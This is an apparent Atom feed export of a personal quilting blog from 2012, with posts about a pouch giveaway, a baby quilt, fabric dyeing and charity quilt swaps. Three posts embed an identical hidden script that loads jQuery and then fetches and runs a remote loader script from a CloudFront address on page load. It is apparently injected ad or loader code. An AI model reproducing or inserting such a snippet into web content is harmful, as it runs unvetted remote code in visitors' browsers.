tag:blogger.com,1999:blog-77229345565806336512018-08-28T04:47:15.169-04:00woollykatwoollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.comBlogger15125tag:blogger.com,1999:blog-7722934556580633651.post-21636456645882866182012-04-16T11:54:00.000-04:002012-04-16T11:54:26.099-04:00Grow a Garden (pouch) giveaway winner!Thank you for all of the comments about my pouches!&nbsp; I loved reading everyone's favorite things about spring.&nbsp; Opening the windows, tiny buds sprouting and pushing up through the soil, sunny skies, shedding some winter layers...these are all wonderful parts of spring!<br /><br />Mr. Random Number Generator chose a winner for me, and it is:<br /><br /><a href="http://www.flickr.com/photos/woollykat/7084152015/" title="giveawaywinner by woollykat, on Flickr"><img alt="giveawaywinner" height="192" src="http://farm8.staticflickr.com/7044/7084152015_af77639893_o.jpg" width="169" /></a><br /><br /><a href="http://www.flickr.com/photos/woollykat/7084151895/" title="giveawaywinnercomment by woollykat, on Flickr"><img alt="giveawaywinnercomment" height="121" src="http://farm6.staticflickr.com/5271/7084151895_70bddc7d26_o.jpg" width="653" /></a><br /><br />Congratulations <a href="http://www.spontaneousthreads.blogspot.com/" target="_blank">Stephanie</a>! I've sent you an email. Send me your address (woollykatquilts at gmail dot com) and I'll get this pouch in the mail to you!<br /><br />Thank you to everyone who entered!<br /><script type="text/javascript">if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});}; </script>woollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com1tag:blogger.com,1999:blog-7722934556580633651.post-32852617778878355722012-04-09T12:12:00.000-04:002012-04-09T14:49:41.386-04:00Grow a Garden (pouch) + a giveawayAt our monthly <a href="http://a2mqg.blogspot.com/" target="_blank">Ann Arbor Modern Quilt Guild</a> meetings, we often have a swap of a handmade item or several fat quarters of fabric.&nbsp; Items are to be wrapped or disguised but not labeled, so part of the fun is wondering what goodies are hiding inside the macaroni box, old tin, etc.<br /><br />We conduct our swaps in a "Yankee Swap" format (like a <a href="http://en.wikipedia.org/wiki/White_elephant_gift_exchange" target="_blank">white elephant swap</a>). First we draw numbers, and each participant has a turn choosing a wrapped item.&nbsp; The next person then has a choice of choosing an wrapped item, or "stealing" a previously unwrapped item from someone else.&nbsp; If your item is stolen, you may choose to to unwrap a new item or steal from someone else.&nbsp; The process continues until everyone has had a turn, and the first person to choose has a chance to steal any one of the opened items or keep what they have. Previous swaps have proven to get quite competitive; <a href="http://emmmylizzzy.blogspot.com/2011/11/tree-cutting-and-christmas-crafting.html" target="_blank">Emily's Christmas ornament</a> and <a href="http://howtobejenna.wordpress.com/2011/10/28/covered-notebook/" target="_blank">Jenna's Mendicino notebook cover</a> provoked some very exciting swaps!<br /><br />For our March meeting, participants were asked to make something with a "spring" theme.&nbsp; Part of what I like about having a theme to work with is it encourages me to work outside my comfort zone.&nbsp; In this case, I ended up using a color combination I might not have started with on my own.&nbsp; I am very drawn to warm tones, but for the "spring" theme, I went looking in my stash for greens and yellows.&nbsp; <br /><br />The front of the pouch is a patchwork courthouse steps block.&nbsp; I selected a number of prints and solids in yellows and greens, along with some black and white.&nbsp; I included some fun text, ruler, and graph prints, imagining the process of planning a spring garden, planting seeds, and watching them sprout and grow.<br /><br /><a href="http://www.flickr.com/photos/woollykat/7061038055/" title="natalie's grow a garden pouch by woollykat, on Flickr"><img alt="natalie's grow a garden pouch" height="333" src="http://farm6.staticflickr.com/5156/7061038055_41067bb125.jpg" width="500" /></a><br /><br />I chose Joel Dewberry's Woodgrain print in brown from Aviary 2, and lined it with a green solid.&nbsp; <br /><br /><a href="http://www.flickr.com/photos/woollykat/7061038565/" title="grow a garden pouch back by woollykat, on Flickr"><img alt="grow a garden pouch back" height="333" src="http://farm8.staticflickr.com/7237/7061038565_7b0a1fa435.jpg" width="500" /></a><br /><br />Natalie of <a href="http://greenleafgoods.wordpress.com/" target="_blank">Greenleaf Goods</a> was the lucky recipient of this pouch at our guild meeting.&nbsp; Hope you enjoy it Natalie! However, I had so much fun making it I had to make a few more.<br /><br /><a href="http://www.flickr.com/photos/woollykat/7061039559/" title="grow a garden pouches by woollykat, on Flickr"><img alt="grow a garden pouches" height="333" src="http://farm8.staticflickr.com/7239/7061039559_ef4dd089cb.jpg" width="500" /></a><br /><br /><a href="http://www.flickr.com/photos/woollykat/6914957620/" title="grow a garden pouches by woollykat, on Flickr"><img alt="grow a garden pouches" height="333" src="http://farm8.staticflickr.com/7140/6914957620_178cf927ee.jpg" width="500" /></a><br /><br />One of these pouches is up for grabs, for YOU, one of my readers! Leave me a comment telling me your favorite part about spring. That's it, easy! If you're following my blog, I'd love to hear from you, and I'd also love it if you told your friends. So, for a second entry, let me know if you mention this giveaway on your blog, on facebook, or on twitter (you can find me there: @woollykat). International entries are welcome.&nbsp; Giveaway ends this Sunday, April 15 at 11pm EST, when I will choose a random winner.&nbsp; <br /><br />I'd link up to {Sew} Modern Monday, but Megan is pausing it while the <a href="http://www.canoeridgecreations.com/p/festival-of-half-square-triangles.html" target="_blank">Festival of Half-Square Triangles</a> is going on! Today's Festival of HST host is Erin at <a href="http://www.twomoreseconds.com/" target="_blank">Two More Seconds</a>. Head over there to check it out!<br /><br />Have a great week!<br />~Anna :) <br /><script type="text/javascript">if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});}; 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</script>woollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com26tag:blogger.com,1999:blog-7722934556580633651.post-31073702734231271702012-04-05T15:28:00.000-04:002012-04-05T15:28:54.053-04:00A quilt for baby ABack in January, my friend <a href="http://www.etsy.com/shop/pinkcastlefabrics?ref=seller_info" target="_blank">Brenda</a> announced a quilt-along she was hosting on her <a href="http://justabitfrayed.wordpress.com/" target="_blank">blog</a>.&nbsp; With several baby quilts on my to-make list, I was eager to join in.<br /><br /><div align="center"><a href="http://justabitfrayed.wordpress.com/2011/12/29/bust-yo-scraps-quilt-along/" target="_blank" title="Bust Yo Scraps!"><img alt="Bust Yo Scraps!" src="http://justabitfrayed.files.wordpress.com/2011/12/bustyoscraps_150.jpg" style="border: none;" /></a></div><br />While she billed the quilt-along as a scrap-buster, I chose to use <a href="http://sarahjanestudios.com/blog/fabric-2/" target="_blank">Sarah Jane's</a> "Rocket Launch Club" print in cream as the "background" fabric, with solid colors matched from that print for the surrounding half-square triangles and flying geese.&nbsp; <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://www.michaelmillerfabrics.com/MMF/swatches/DC5150_Cream.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://www.michaelmillerfabrics.com/MMF/swatches/DC5150_Cream.jpg" /></a></div><br />The solids I used were Free Spirit Solids in Red and Saffron, Moda Bella Solids in Robins Egg, and Robert Kaufman Kona Cotton in Blue Jay and Charcoal.<br /><br /><script type="text/javascript">if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});}; </script><br /><a href="http://www.flickr.com/photos/woollykat/6863186370/" title="Quilt for Baby A by woollykat, on Flickr"><img alt="Quilt for Baby A" height="333" src="http://farm8.staticflickr.com/7187/6863186370_dc17265429.jpg" width="500" /></a><br />I backed the quilt in Just Wing It! by Momo for Moda in Light Turquoise, and the binding is Eliza Stripe from Sis Boom Basics by Jennifer Paganelli for Free Spirit.<br /><br /><a href="http://www.flickr.com/photos/woollykat/6863186574/" title="Quilt for Baby A by woollykat, on Flickr"><img alt="Quilt for Baby A" height="333" src="http://farm8.staticflickr.com/7066/6863186574_abbc5e9bdc.jpg" width="500" /></a><br />I quilted it using straight lines in a crisscross pattern similar to <a href="http://www.flickr.com/photos/lifeontheselvageedge/6811341225/in/pool-1841222@N20/">here</a> and <a href="http://www.flickr.com/photos/lovealfie/6780471070/in/pool-1841222@N20/">here</a>.<br /><br />This quilt soon to be on its way to a dear friend who recently had a baby boy.<br /><br />Now I'm linking up to Brenda's blog with all the other completed QAL quilts.&nbsp; Be sure to check them out, there are some really great ones!<br /><br />~Anna :)woollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com1tag:blogger.com,1999:blog-7722934556580633651.post-5141904456193240812012-04-01T22:58:00.002-04:002012-04-01T22:58:59.086-04:00Fabric Dyeing with RossieToday <a href="http://justabitfrayed.wordpress.com/" target="_blank">Brenda</a>, <a href="http://sassafrasgirl.wordpress.com/" target="_blank">Ashley</a> and I went over to <a href="http://r0ssie.blogspot.com/" target="_blank">Rossie's</a> house, armed with gloves, buckets, and the most important ingredient: white fabric!<br /><br /><a href="http://www.flickr.com/photos/woollykat/7037252323/" title="Annie's Seed Catalogue, by Holly Holderman for LakeHouse Dry Goods by woollykat, on Flickr"><img alt="Annie's Seed Catalogue, by Holly Holderman for LakeHouse Dry Goods" height="375" src="http://farm7.staticflickr.com/6218/7037252323_a9377487d2.jpg" width="500" /></a><br /><br />After seeing the great results <a href="http://incolororder.blogspot.com/2011/12/fabric-dyeing.html" target="_blank">Jeni had dyeing</a> the white-on-white Annie's Farm Stand Seed Catalog fabric, we wanted to give it a try too.<br /><br />Rossie is an old pro at this <a href="http://r0ssie.blogspot.com/search/label/dye%20101" target="_blank">dyeing</a> business, and since she had all of the dye and other supplies, we headed to her place. (Note: this is not a complete account of all the necessary steps.&nbsp; For more technical info about the dyeing process we used, check out Rossie's blog.)<br /><br /><a href="http://www.flickr.com/photos/woollykat/7037249243/" title="Choosing colors by woollykat, on Flickr"><img alt="Choosing colors" height="375" src="http://farm8.staticflickr.com/7244/7037249243_f89c193888.jpg" width="500" /></a><br /><br />We prewashed our fabric to prepare it for dyeing.&nbsp; Then we consulted <a href="http://www.ctpub.com/productdetails.cfm?PC=1516" target="_blank">this book</a> to choose some colors we were interested in. We didn't try too hard to match any specific color.&nbsp; We roughly followed the recipe for a given color, but part of the fun of this process is seeing what appears in the end!&nbsp;&nbsp;&nbsp; <br /><br />It is important to wear gloves and a mask when handling the dye.<br /><br /><a href="http://www.flickr.com/photos/woollykat/6891180138/" title="Rossie prepares the dyes by woollykat, on Flickr"><img alt="Rossie prepares the dyes" height="500" src="http://farm7.staticflickr.com/6240/6891180138_076224c68a.jpg" width="375" /></a><br /><br />Rossie and Brenda prepared the dyes (the pigments are in powdered form and then mixed into salt water to activate. (Again, check out Rossie's <a href="http://r0ssie.blogspot.com/search/label/dye%20101" target="_blank">blog</a>. If you are interested in trying this yourself, she has a lot of helpful information and many links to experienced in fabric dyeing).&nbsp; Ashley and I cut the fabric into smaller pieces (large cuts of fabric can be bulky, creating extra folds/bubbles in the fabric, which can result in uneven dye patterns). We then dampened the fabric slightly before placing several pieces in each bucket.<br /><br /><a href="http://www.flickr.com/photos/woollykat/6891169634/" title="Dyeing steps by woollykat, on Flickr"><img alt="Dyeing steps" height="500" src="http://farm8.staticflickr.com/7049/6891169634_e4486b555d.jpg" width="375" />&nbsp;</a><br />Dyeing steps<br /><br /><a href="http://www.flickr.com/photos/woollykat/7037268655/" title="Rinsed fabrics by woollykat, on Flickr"><img alt="Rinsed fabrics" height="500" src="http://farm7.staticflickr.com/6114/7037268655_e9176042c7.jpg" width="375" /></a><br />Rinsed fabrics<br /><br />Following the dye bath, the fabrics were rinsed in cold water first and then hot and then washed in the washing machine.&nbsp; We let our fabric air dry.<br /><br /><a href="http://www.flickr.com/photos/woollykat/6891172320/" title="All washed and ready to go! by woollykat, on Flickr"><img alt="All washed and ready to go!" height="375" src="http://farm7.staticflickr.com/6110/6891172320_84b79084a8.jpg" width="500" /></a><br />All washed and ready to go.<br /><br /><a href="http://www.flickr.com/photos/woollykat/7037272563/" title="Finished! by woollykat, on Flickr"><img alt="Finished!" height="500" src="http://farm8.staticflickr.com/7046/7037272563_7ba44a5723.jpg" width="375" /></a><br />The finished product!<br /><br />Many thanks to Rossie for hosting us and helping us navigate the dyeing process. It was a lot of fun!<br /><br />Anna :)woollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com3tag:blogger.com,1999:blog-7722934556580633651.post-46562359080776638612012-03-25T17:03:00.000-04:002012-03-25T17:16:48.773-04:00Catching upI need to be writing here more often, as several projects have now stacked up and I have a backlog to share!&nbsp; This may require several posts but here goes...<br /><br /><a href="http://woollykat.blogspot.com/2012/03/for-love-of-solids-round-2.html" target="_blank">Last time</a> I shared the bag and pouch I made for <a href="http://throwawenchintheworks.blogspot.com/" target="_blank">Ella</a> (now that she's received it I can tell you who it was for!)&nbsp; I was very happy to hear that Ella loved what I made for her.<br /><br />Soon after I sent Ella's package off to her, I received one of my own, from <a href="http://lawsonandlotti.blogspot.com/" target="_blank">Charlotte</a>!&nbsp; I was very excited to find two beautiful mini quilts that I had been watching very carefully in the <a href="http://www.flickr.com/groups/fortheloveofsolids/" target="_blank">group photo pool</a>.<br /><br /><a href="http://www.flickr.com/photos/woollykat/6980857595/" title="FTLOS Round 2 - Received by woollykat, on Flickr"><img alt="FTLOS Round 2 - Received" height="333" src="http://farm8.staticflickr.com/7180/6980857595_aa3c8f2d49.jpg" width="500" /></a><br />Charlotte also included some gorgeous ribbon trim.&nbsp; So many of my favorite colors!&nbsp; Since the light was almost gone on the day I took this first photo, I took a few more so I could share some more of the details.<br /><br /><a href="http://www.flickr.com/photos/woollykat/7009300789/" title="mini from LawsonandLottie! by woollykat, on Flickr"><img alt="mini from LawsonandLottie!" height="333" src="http://farm8.staticflickr.com/7239/7009300789_e6c2f2c89b.jpg" width="500" /></a><br />Charlotte used solids and crossweaves in orange, red and earthy tones as well as a natural linen. <a href="http://www.flickr.com/photos/woollykat/6863185030/" title="detail of quilting from LawsonandLottie by woollykat, on Flickr"><img alt="detail of quilting from LawsonandLottie" height="333" src="http://farm8.staticflickr.com/7237/6863185030_6abb59bbc9.jpg" width="500" /></a><br />She combined some strip-pieced improvisational patchwork with half-square triangles, and in the field of linen embellished with some fabulous straight-line quilting.<br /><br /><a href="http://www.flickr.com/photos/woollykat/7009300461/" title="detail of quilting from LawsonandLottie by woollykat, on Flickr"><img alt="detail of quilting from LawsonandLottie" height="333" src="http://farm8.staticflickr.com/7121/7009300461_897337d736.jpg" width="500" /></a><br />I love the varigated thread, and so precise! <a href="http://www.flickr.com/photos/woollykat/6863185284/" title="detail of quilting from LawsonandLottie by woollykat, on Flickr"><img alt="detail of quilting from LawsonandLottie" height="333" src="http://farm8.staticflickr.com/7185/6863185284_f914c95e90.jpg" width="500" /></a> <a href="http://www.flickr.com/photos/woollykat/6863186002/" title="mini from LawsonandLottie! by woollykat, on Flickr"><img alt="mini from LawsonandLottie!" height="333" src="http://farm8.staticflickr.com/7105/6863186002_e980b04527.jpg" width="500" /></a><br />Detail of the Katherine Wheel mini, which she also wrote a <a href="http://www.blogger.com/%3Ca%20href=%22http://www.flickr.com/photos/woollykat/6863186002/%22%20title=%22mini%20from%20LawsonandLottie%21%20by%20woollykat,%20on%20Flickr%22%3E%3Cimg%20src=%22http://farm8.staticflickr.com/7105/6863186002_e980b04527.jpg%22%20width=%22500%22%20height=%22333%22%20alt=%22mini%20from%20LawsonandLottie%21%22%3E%3C/a%3E" target="_blank">tutorial</a> for on her blog.<br />Beautiful work, Charlotte. Thank you so much for taking the time to create these lovely pieces for me!<br /><br />Charlotte just recently relocated from the UK to Australia (she made these for me in the midst of packing and preparing for the move!) but her blog address has not changed.&nbsp; Pop over and visit her at <a href="http://lawsonandlotti.blogspot.com/">lawsonandlotti.blogspot.com/</a>--she's hosting a <a href="http://lawsonandlotti.blogspot.com/2012/03/late-one-but-good-one.html" target="_blank">giveaway</a> of some of the Aussie DS Quilts fabrics this week.&nbsp; Be sure to tell her I said "hi" and wish her congratulations on winning 1st place in Sew Hip Magazine's fashion designer of the year competition! See her entry <a href="http://lawsonandlotti.blogspot.com/2012/01/my-fashion-designer-competition-entry.html" target="_blank">here</a>.<br /><br />I still have a few sewing pieces of my own to share, I'll be back to tell you about those.&nbsp; Enjoy the rest of the weekend!<br /><br />~Anna<br /><br /><br />woollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com2tag:blogger.com,1999:blog-7722934556580633651.post-81296741941978275892012-03-12T00:25:00.000-04:002012-03-12T00:34:26.988-04:00For the Love of Solids, Round 2<a href="http://www.flickr.com/photos/woollykat/6974809827/" title="Patchwork Bag and pouch by woollykat, on Flickr"><img alt="Patchwork Bag and pouch" height="500" src="http://farm8.staticflickr.com/7205/6974809827_56afe07e6a.jpg" width="333" /></a><br />This last week I finished this bag and pouch set for my secret partner in the <a href="http://www.flickr.com/groups/fortheloveofsolids/" target="_blank">For the Love of Solids Swap</a> on Flickr.&nbsp; It's currently making its way to to my partner, who will hopefully receive it very soon!&nbsp; I hope she likes it.&nbsp; I worked hard studying her favorites on Flickr to try to come up with something made-by-me that will "look like her!"&nbsp; We shall see.&nbsp; This is my second time participating in this particular swap, hosted and organized by Megan at <a href="http://www.canoeridgecreations.com/" target="_blank">Canoe Ridge Creations</a> and Elizabeth at <a href="http://www.dontcallmebetsy.com/" target="_blank">Don't Call Me Betsy</a>.&nbsp; In the first round, I sewed for <a href="http://alittlegray.blogspot.com/">Jessica</a>, creating <a href="http://www.flickr.com/photos/woollykat/6151701514/">this</a> and <a href="http://www.flickr.com/photos/woollykat/6160574680/">this</a>. My partner, Sheetal, made me <a href="http://www.flickr.com/photos/woollykat/6163626590/">this</a> lovely miniquilt, pincushion, and incredible embroidery of my website's mascot!<br /><br />Megan and Elizabeth do a wonderful job running this great swap, and each time I have been amazed by the level of talent of the swap participants. It has been a great source of inspiration for future projects as well as stretched my skills as a designer and sewist. For this round, I began by pulling some fabrics: reds, orange-reds, browns, purples, and a little bit of earthy yellow. <a href="http://www.flickr.com/photos/woollykat/6974939095/" title="First Fabric Pull by woollykat, on Flickr"><img alt="First Fabric Pull" height="500" src="http://farm8.staticflickr.com/7038/6974939095_93ec075f23.jpg" width="333" /></a><br />While I loved this combination, I wanted to scale back a bit on the number of different colors. I also decided to use more of the true reds and leave out the orange-reds and dusty pinks to create a little more contrast overall. <a href="http://www.flickr.com/photos/woollykat/6974939177/" title="Revised Selections by woollykat, on Flickr"><img alt="Revised Selections" height="500" src="http://farm8.staticflickr.com/7204/6974939177_031d62e83c.jpg" width="333" /></a><br />Now it was time to think about a design. Usually in this phase of the design process I like to arrange and rearrange colors next to each other in various combinations before I start cutting. First off I started thinking about some curves:<br />&nbsp;<a href="http://www.flickr.com/photos/woollykat/6828815776/" title="Playing by woollykat, on Flickr"><img alt="Playing" height="500" src="http://farm8.staticflickr.com/7188/6828815776_95e7f1e89a.jpg" width="333" /></a><br />I found myself going back and forth between a plan to patchwork and the desire to improvise. I liked the way the colors related to each other in a patchwork-square layout, sort of like this: <a href="http://www.flickr.com/photos/woollykat/6974939433/" title="Thinking about patchwork by woollykat, on Flickr"><img alt="Thinking about patchwork" height="333" src="http://farm8.staticflickr.com/7187/6974939433_2c61b4dcd2.jpg" width="500" /></a><br />That was nice, but...I decided to go ahead with some improv. I cut angled strips, intending for them to create some gentle curves. I soon realized my strips were too narrow to create the design effect I had in mind. So back to the patchwork grid. And I came up with this: <a href="http://www.flickr.com/photos/woollykat/6778418488/" title="ftlos -- first draft by woollykat, on Flickr"><img alt="ftlos -- first draft" height="500" src="http://farm8.staticflickr.com/7194/6778418488_c0c6ab51ef.jpg" width="375" /></a><br />I really wasn't sure if I liked it or hated it. I trusted the positive encouragement from my fellow swap mates and kept going. Somehow I kept gravitating back to my original idea of patchwork squares. Eventually, I sort of combined my two ideas, the patchwork and the improv piecing, to finally arrive at this:<br />&nbsp;<a href="http://www.flickr.com/photos/woollykat/6936411377/" title="FTLOS progress by woollykat, on Flickr"><img alt="FTLOS progress" height="333" src="http://farm8.staticflickr.com/7206/6936411377_bd2e1d7ec3.jpg" width="500" /></a><br />What was really funny was that <a href="http://tumblingblocks.net/blog/">Dorie</a> commented "looks like you made a fabric as much as a quilt." And this was in fact my plan! I used the patchwork "fabric" to create the front panel of the <a href="http://www.noodle-head.com/2011/08/go-anywhere-bag-pattern_26.html">Go Anywhere Bag</a> by Noodlehead. The main body of the bag is Essex linen in Putty. <a href="http://www.flickr.com/photos/woollykat/6974809613/" title="Patchwork Bag by woollykat, on Flickr"><img alt="Patchwork Bag" height="500" src="http://farm8.staticflickr.com/7189/6974809613_e323bb0020.jpg" width="333" /></a><br />&nbsp;I lined it with Kona Stone. The back pocket is a solid red, and there is an interior pocket in a plummy purple.&nbsp; (I forgot to snap a photo of the inside before I sent it off!)<br />&nbsp;<a href="http://www.flickr.com/photos/woollykat/6828686508/" title="Go Anywhere Bag - back by woollykat, on Flickr"><img alt="Go Anywhere Bag - back" height="500" src="http://farm8.staticflickr.com/7210/6828686508_693bdae9b0.jpg" width="333" /></a><br /><br />The box pouch design is a <a href="http://www.theplaidscottie.com/2010/11/box-pouch-tutorial.html">tutorial</a> from The Plaid Scottie. One side is made up of the remainder of the patchwork used on the Go Anywhere Bag, and the other half is the same purple as the bag's interior pocket.<br />&nbsp;<a href="http://www.flickr.com/photos/woollykat/6974809089/" title="Box Pouch by woollykat, on Flickr"><img alt="Box Pouch" height="500" src="http://farm8.staticflickr.com/7188/6974809089_4201220dc6.jpg" width="333" /></a><br />All in all, I'm pretty happy with how these turned out. This was my second attempt at the Go Anywhere Bag, and I was very proud that I got it turned right side out on the first try the time! (The first time I got a little excited and got ahead of myself, sewing the straps inside and resulting in seam ripping it open <strike>once</strike> <strike>twice</strike> okay three times. :) Kaelin's box pouch tutorial worked out perfectly, it was very easy to follow and a lot of fun to make. So there you have it, For the Love of Solids. What have you made with solids? Do you also get too excited when sewing a new project and then find yourself having to go back and rip seams? Hope you had a great weekend! ~Annawoollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com3tag:blogger.com,1999:blog-7722934556580633651.post-38641616050068845492012-01-30T22:04:00.000-05:002012-01-30T22:04:32.057-05:00Stamp Collecting<div class="separator" style="clear: both; text-align: center;"></div><br />I recently joined <a href="http://www.flickr.com/groups/dogoodstitches/">do. Good Stitches</a>, a charity quilting bee on Flickr. Organized by Rachel of <a href="http://www.stitchedincolor.com/">Stitched in Color</a>, do. Good Stitches has grown to 15 circles, each comprised of 10 quilters and stitchers. Each circle creates unique quilts that are donated to a variety of different nonprofit organizations all over the U.S. and abroad.<br /><br />I'm a quilter in the "Dream" circle. Each month we complete 2 small quilts to be donated to <a href="http://www.projectnightnight.org/">Project Night Night</a>, a nonprofit organization that provides homeless children with a tote bag with comforting "night-time" essentials (book, stuffed animal, and blanket). I recently finished up December's quilts for my circle.<br /><br />For these two quilts, I asked each member to construct 2 10.5" postage stamp blocks. Blocks were made up of 5 rows of 5 2.5" squares, in a mixture of solids and prints, in two different colorways. <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://farm8.staticflickr.com/7021/6440150943_73b2ca1989.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="red-yellow-blue-black-white" border="0" height="320" src="http://farm8.staticflickr.com/7021/6440150943_73b2ca1989.jpg" width="224" /></a></div><span style="font-size: small;">The first palette contained red, yellow navy, royal, teal blue, white or white with black.</span> <br /><a href="http://www.flickr.com/photos/woollykat/6705797489/" title="do. good stitches postage stamp quilt by woollykat, on Flickr"><img alt="do. good stitches postage stamp quilt" height="333" src="http://farm8.staticflickr.com/7029/6705797489_0a5ec77f00.jpg" width="500" /></a><br /><br /><a href="http://www.flickr.com/photos/woollykat/6705793933/" title="do. good stitches by woollykat, on Flickr"><img alt="do. good stitches" height="333" src="http://farm8.staticflickr.com/7005/6705793933_6aff8106aa.jpg" width="500" /></a><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td class="tr-caption" style="text-align: center;"></td><td class="tr-caption" style="text-align: center;"></td><td class="tr-caption" style="text-align: center;"><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td class="tr-caption" style="text-align: center;"><br /></td></tr></tbody></table></td><td class="tr-caption" style="text-align: center;"><br /></td></tr></tbody></table><div class="separator" style="clear: both; text-align: center;"><a href="http://www.flickr.com/photos/woollykat/6705791145/" title="do. good stitches by woollykat, on Flickr"><img alt="do. good stitches" height="333" src="http://farm8.staticflickr.com/7006/6705791145_da94fb8b7f.jpg" width="500" /></a></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small;"></span></td></tr></tbody></table><div class="separator" style="clear: both; text-align: center;"></div><span style="font-size: small;">I used one of the extra blocks as a feature on the back, and bound it in yellow.&nbsp; </span><span style="font-size: small;">I quilted it with a diagonal grid using the 2.5" squares on the front as my guide.</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://www.flickr.com/photos/woollykat/6440151193/" style="margin-left: 1em; margin-right: 1em;" title="purple-plum-coral-yellow-cream-grey by woollykat, on Flickr"><img alt="purple-plum-coral-yellow-cream-grey" height="320" src="http://farm8.staticflickr.com/7162/6440151193_c4d7c3e748.jpg" width="224" /></a></div><br />The second quilt included plum, purple, pink, dark coral, gold, warm yellow, cream, and medium gray. <br /><div class="separator" style="clear: both; text-align: center;"><a href="http://www.flickr.com/photos/woollykat/6793079651/" title="do. good stitches postage stamp quilt by woollykat, on Flickr"><img alt="do. good stitches postage stamp quilt" height="333" src="http://farm8.staticflickr.com/7014/6793079651_d55abc61df.jpg" width="500" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://www.flickr.com/photos/woollykat/6793080559/" title="do. good stitches postage stamp quilt by woollykat, on Flickr"><img alt="do. good stitches postage stamp quilt" height="333" src="http://farm8.staticflickr.com/7164/6793080559_bb71bbaa08.jpg" width="500" /></a></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td class="tr-caption" style="text-align: center;"><br /></td></tr></tbody></table><div class="separator" style="clear: both; text-align: center;"><a href="http://www.flickr.com/photos/woollykat/6793081135/" title="do. good stitches postage stamp quilt by woollykat, on Flickr"><img alt="do. good stitches postage stamp quilt" height="333" src="http://farm8.staticflickr.com/7031/6793081135_7089bd273e.jpg" width="500" />&nbsp;</a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>The second quilt was bound in gray.&nbsp; <span style="font-size: small;">The back has the same layout as the first,</span> quilted with a series of overlapping boxes with 3 lines.&nbsp; While I like the effect, I still need some practice with my machine quilting--turning the corners of the squares was difficult.<br /><br />Working on these quilts was a lot of fun and I look forward to sending them on to <a href="http://www.projectnightnight.org/">Project Night Night</a> where they will hopefully bring some sunshine to their new owners.&nbsp; Huge thanks to the ladies of the <a href="http://www.flickr.com/groups/dreamcircle/">do. good stitches Dream circle</a>, I am so proud of how these turned out and couldn't have done it without you!woollykathttp://www.blogger.com/profile/04296052589847970045noreply@blogger.com1tag:blogger.com,1999:blog-7722934556580633651.post-61770658431271603412011-11-11T22:24:00.001-05:002011-11-11T22:27:21.766-05:00some handwork<a href="http://www.flickr.com/photos/62682254@N07/6335667047/" title="hand quilting the double wedding ring by woollykat, on Flickr"><img src="http://farm7.static.flickr.com/6237/6335667047_b54638c380.jpg" width="400" height="400" alt="hand quilting the double wedding ring"></a> handquilting the double wedding 